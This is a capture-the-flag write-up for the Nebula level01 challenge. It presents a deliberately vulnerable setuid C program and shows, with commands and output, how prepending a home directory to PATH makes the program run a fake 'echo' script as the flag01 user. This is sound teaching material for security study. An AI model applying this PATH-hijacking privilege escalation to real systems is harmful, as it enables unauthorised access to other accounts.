There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Let’s start by looking at the file on the file system.

level01@nebula:~$ ls -la /home/flag01/flag01
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 /home/flag01/flag01

We’ll quickly spot that it has the setuid bit set and is owned by the flag01 user, so no matter which user actually starts the binary, it will run as the flag01 user. This is good for us, and something we’ll eventually exploit.

The weakness might be obvious to you if you’re familiar with the Linux command line. The system call in the end relies on /bin/env to set environment variables. We can exploit this by modifying the environment variables prior to executing the program.

Let’s prepare a small script that runs the getflag command. Put the following content in a file called echo in the home directory of the level01 user:

#!/bin/sh
getflag

Now let’s set the PATH variable to include level01s home directory and run the script:

level01@nebula:~$ export PATH="/home/level01:$PATH"
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account

What happened here was that we added another directory to the PATH variable, which the system uses to look for binaries. You can easily see what happened by using the which command:

level01@nebula:~$ /usr/bin/env which echo
/home/level01/echo

The flag01 binary was coded assuming that it will always call the system echo. By changing PATH, it will instead run our version and execute getflag as the user flag01.